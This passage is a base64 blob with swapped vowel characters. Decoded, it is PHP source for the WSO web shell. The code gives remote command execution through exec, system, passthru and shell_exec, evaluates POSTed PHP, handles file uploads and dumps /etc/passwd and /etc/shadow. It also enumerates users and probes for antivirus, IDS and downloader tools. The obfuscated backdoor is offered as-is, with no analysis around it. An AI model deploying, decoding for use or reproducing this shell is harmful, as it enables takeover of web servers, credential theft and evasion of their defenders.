KCRmcjU1U3AxYzUvJHQydDFsU3AxYzUqNjAwKSAuICclKTxicj4nIC4gJGN3ZF9sNG5rcyAuICcgJy4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10pIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnIC4gJEdMT0JBTFNbJ2gybTVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGgybTUgXTwvMT48YnI+JyAuICRkcjR2NXMgLiAnPC90ZD4nDQogICAgICAgLiAnPHRkIHc0ZHRoPTYgMWw0Z249cjRnaHQ+PG4yYnI+PHM1bDVjdCAybmNoMW5nNT0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy52MWwzNSkiPjwycHRncjIzcCBsMWI1bD0iUDFnNSBjaDFyczV0Ij4nIC4gJDJwdF9jaDFyczV0cyAuICc8LzJwdGdyMjNwPjwvczVsNWN0Pjxicj48c3Axbj5TNXJ2NXIgSVA6PC9zcDFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Axbj5DbDQ1bnQgSVA6PC9zcDFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9uMmJyPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAuICc8dDFibDUgc3R5bDU9ImIycmQ1ci10MnA6YXB4IHMybDRkICNvb287IiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+JyAuICRtNW4zIC4gJzwvdHI+PC90MWJsNT48ZDR2IHN0eWw1PSJtMXJnNG46aSI+JzsNCn0NCg0KZjNuY3Q0Mm4gd3MyRjIydDVyKCkgew0KCSQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwycj0nZ3I1NW4nPihXcjR0NTFibDUpPC9mMm50PiI6IiA8ZjJudCBjMmwycj1yNWQ+KE4ydCB3cjR0MWJsNSk8L2YybnQ+IjsNCiAgICA1Y2gyICINCjwvZDR2Pg0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4NCgk8dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD0nZyhuM2xsLHRoNHMuYy52MWwzNSxcIlwiKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5DaDFuZzUgZDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+UjUxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ21rZDRyJyx0aDRzLmQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5NMWs1IGQ0cjo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5FeDVjM3Q1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTUFuJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIiAuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4gIic+DQoJCTxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4NCgk8L3RyPjwvdDFibDU+PC9kNHY+PC9iMmR5PjwvaHRtbD4iOw0KfQ0KDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCg0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7DQoJJDIzdCA9ICcnOw0KCTRmIChmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KCQlANXg1YygkNG4sJDIzdCk7DQoJCSQyM3QgPSBAajI0bigiXG4iLCQyM3QpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHAxc3N0aHIzKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAc3lzdDVtKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzaDVsbF81eDVjJykpIHsNCgkJJDIzdCA9IHNoNWxsXzV4NWMoJDRuKTsNCgl9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7DQoJCSQyM3QgPSAiIjsNCgkJd2g0bDUoIUBmNTJmKCRmKSkNCgkJCSQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQoJCXBjbDJzNSgkZik7DQoJfQ0KCXI1dDNybiAkMjN0Ow0KfQ0KDQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCmYzbmN0NDJuIHdzMlA1cm1zKCRwKSB7DQoJNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOw0KCTVsczU0ZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJDQgPSAnbCc7DQoJNWxzNTRmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkNCA9ICctJzsNCgk1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOw0KCTVsczU0ZiAoKCRwICYgMHh1MDAwKSA9PSAweHUwMDApJDQgPSAnZCc7DQoJNWxzNTRmICgoJHAgJiAweGEwMDApID09IDB4YTAwMCkkNCA9ICdjJzsNCgk1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOw0KCTVsczUgJDQgPSAnMyc7DQoJJDQgLj0gKCgkcCAmIDB4MDYwMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMHUwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwYTApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwdTAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MHUwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMDB1KSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDYpID8gKCgkcCAmIDB4MGEwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDBhMDApID8gJ1QnIDogJy0nKSk7DQoJcjV0M3JuICQ0Ow0KfQ0KDQpmM25jdDQybiB3czJQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPXdoNHQ1PicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCn0NCg0KZjNuY3Q0Mm4gd3MyU2MxbmQ0cigkZDRyKSB7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCJzYzFuZDRyIikpIHsNCiAgICAgICAgcjV0M3JuIHNjMW5kNHIoJGQ0cik7DQogICAgfSA1bHM1IHsNCiAgICAgICAgJGRoICA9IDJwNW5kNHIoJGQ0cik7DQogICAgICAgIHdoNGw1IChmMWxzNSAhPT0gKCRmNGw1bjFtNSA9IHI1MWRkNHIoJGRoKSkpDQogICAgICAgICAgICAkZjRsNXNbXSA9ICRmNGw1bjFtNTsNCiAgICAgICAgcjV0M3JuICRmNGw1czsNCiAgICB9DQp9DQoNCmYzbmN0NDJuIHdzMldoNGNoKCRwKSB7DQoJJHAxdGggPSB3czJFeCgnd2g0Y2ggJyAuICRwKTsNCgk0ZighNW1wdHkoJHAxdGgpKQ0KCQlyNXQzcm4gJHAxdGg7DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TNWNJbmYyKCkgew0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TNXJ2NXIgczVjM3I0dHkgNG5mMnJtMXQ0Mm48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCWYzbmN0NDJuIHdzMlM1Y1AxcjFtKCRuLCAkdikgew0KCQkkdiA9IHRyNG0oJHYpOw0KCQk0Zigkdikgew0KCQkJNWNoMiAnPHNwMW4+JyAuICRuIC4gJzogPC9zcDFuPic7DQoJCQk0ZihzdHJwMnMoJHYsICJcbiIpID09PSBmMWxzNSkNCgkJCQk1Y2gyICR2IC4gJzxicj4nOw0KCQkJNWxzNQ0KCQkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2PicgLiAkdiAuICc8L3ByNT4nOw0KCQl9DQoJfQ0KDQoJd3MyUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzFwMWNoNV9nNXRfbTJkM2w1cycpKQ0KICAgICAgICB3czJTNWNQMXIxbSgnTDIxZDVkIEFwMWNoNSBtMmQzbDVzJywgNG1wbDJkNSgnLCAnLCAxcDFjaDVfZzV0X20yZDNsNXMoKSkpOw0KCXdzMlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsNCgl3czJTNWNQMXIxbSgnT3A1biBiMXM1IGQ0cicsIEA0bjRfZzV0KCcycDVuX2IxczVkNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA1eDVjIGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ2NVUkwgczNwcDJydCcsIGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJyk/JzVuMWJsNWQnOiduMicpOw0KCSR0NW1wPTFycjF5KCk7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkNCgkJJHQ1bXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nNXRfY2w0NW50XzRuZjIoKS4iKSI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiTVNTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIlAyc3RncjVTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJPcjFjbDUiOw0KCXdzMlM1Y1AxcjFtKCdTM3BwMnJ0NWQgZDF0MWIxczVzJywgNG1wbDJkNSgnLCAnLCAkdDVtcCkpOw0KCTVjaDIgJzxicj4nOw0KDQoJNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ240eCcpIHsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCIvNXRjL1wiLCBcInNoMWQyd1wiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdENHN0ciBuMW01JywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjLzRzczM1Lm41dCcpKTsNCiAgICAgICAgICAgIDRmKCEkR0xPQkFMU1snczFmNV9tMmQ1J10pIHsNCiAgICAgICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgICAgICAkZDFuZzVyID0gMXJyMXkoJ2sxdicsJ24yZG9hJywnYmRjMnI1ZCcsJzN2c2MxbicsJ3MxdicsJ2RydzViZCcsJ2NsMW1kJywncmtoM250NXInLCdjaGtyMjJ0azR0JywnNHB0MWJsNXMnLCc0cGZ3JywndHI0cHc0cjUnLCdzaDQ1bGRjYycsJ3AycnRzNW50cnknLCdzbjJydCcsJzJzczVjJywnbDRkczFkbScsJ3RjcGwyZGcnLCdzeDRkJywnbDJnY2g1Y2snLCdsMmd3MXRjaCcsJ3N5c20xc2snLCd6bWJzYzFwJywnczF3bTRsbCcsJ3cycm1zYzFuJywnbjRuajEnKTsNCiAgICAgICAgICAgICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgICAgICAgICAgICA1Y2gyICc8YnI+JzsNCiAgICAgICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ1VzNXJmM2wnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCRkMW5nNXIgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgICAgIDRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnRDFuZzVyJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgICAgIDRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICAgICA1Y2gyICc8YnIvPic7DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0hERCBzcDFjNScsIHdzMkV4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQogICAgICAgICAgICAgICAgNWNoMiAnPGJyLz48c3Axbj5wMnM0eF9nNXRwdzM0ZCAoIlI1MWQiIC81dGMvcDFzc3dkKTwvc3Axbj48dDFibDU+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiaSIsdGg0cy5wMXIxbTYudjFsMzUsdGg0cy5wMXIxbWEudjFsMzUpO3I1dDNybiBmMWxzNTtcJz48dHI+PHRkPkZyMm08L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW02IHYxbDM1PTA+PC90ZD48L3RyPjx0cj48dGQ+VDI8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW1hIHYxbDM1PTYwMDA+PC90ZD48L3RyPjwvdDFibDU+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICAgICAgNGYgKDRzczV0ICgkX1BPU1RbJ3BhJ10sICRfUE9TVFsncG8nXSkgJiYgNHNfbjNtNXI0YygkX1BPU1RbJ3BhJ10pICYmIDRzX24zbTVyNGMoJF9QT1NUWydwbyddKSkgew0KICAgICAgICAgICAgICAgICAgICAkdDVtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICBmMnIoOyRfUE9TVFsncGEnXSA8PSAkX1BPU1RbJ3BvJ107JF9QT1NUWydwYSddKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkMzRkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wIC49IGoyNG4oJzonLCQzNGQpLiJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGJyLz4nOw0KICAgICAgICAgICAgICAgICAgICB3czJTNWNQMXIxbSgnVXM1cnMnLCAkdDVtcCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCX0gNWxzNSB7DQoJCXdzMlM1Y1AxcjFtKCdPUyBWNXJzNDJuJyx3czJFeCgndjVyJykpOw0KCQl3czJTNWNQMXIxbSgnQWNjMjNudCBTNXR0NG5ncycsd3MyRXgoJ241dCAxY2MyM250cycpKTsNCgkJd3MyUzVjUDFyMW0oJ1VzNXIgQWNjMjNudHMnLHdzMkV4KCduNXQgM3M1cicpKTsNCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUGhwKCkgew0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCcsIHRyMzUpOw0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCSR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSAmJiAhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnLCAwKTsNCg0KCXdzMkg1MWQ1cigpOw0KCTRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG5mMicpKSB7DQoJCTVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzdHlsNT4ucCB7YzJsMnI6IzAwMDt9PC9zdHlsNT4nOw0KCQkyYl9zdDFydCgpOw0KCQlwaHA0bmYyKCk7DQoJCSR0bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgxcnIxeSAoDQogICAgICAgICAgICAnIShiMmR5fDE6XHcrfGIyZHksIHRkLCB0aCwgaDYsIGhhKSB7Lip9IW1zNFUnLA0KICAgICAgICAgICAgJyF0ZCwgdGggeyguKil9IW1zNFUnLA0KICAgICAgICAgICAgJyE8NG1nW14+XSs+IW1zNFUnLA0KICAgICAgICApLCAxcnIxeSAoDQogICAgICAgICAgICAnJywNCiAgICAgICAgICAgICcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywNCiAgICAgICAgICAgICcnDQogICAgICAgICksICR0bXApOw0KCQk1Y2gyIHN0cl9yNXBsMWM1KCc8aDYnLCc8aGEnLCAkdG1wKSAuJzwvZDR2Pjxicj4nOw0KCX0NCiAgICA1Y2gyICc8aDY+RXg1YzN0NDJuIFBIUC1jMmQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iNGYodGg0cy4xajF4LmNoNWNrNWQpezEoXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSk7fTVsczV7ZyhcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1LFwnXCcpO31yNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT1jMmQ1IGNsMXNzPWI0ZzFyNTEgNGQ9UGhwQzJkNT4nLighNW1wdHkoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6JycpLic8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+JzsNCgk1Y2gyICcgPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCgl9DQoJNWNoMiAnPC9wcjU+PC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQogICAgNGYgKCE1bXB0eSAoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgICRfQ09PS0lFWydmJ10gPSBAM25zNXI0MWw0ejUoJF9DT09LSUVbJ2YnXSk7DQogICAgDQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1I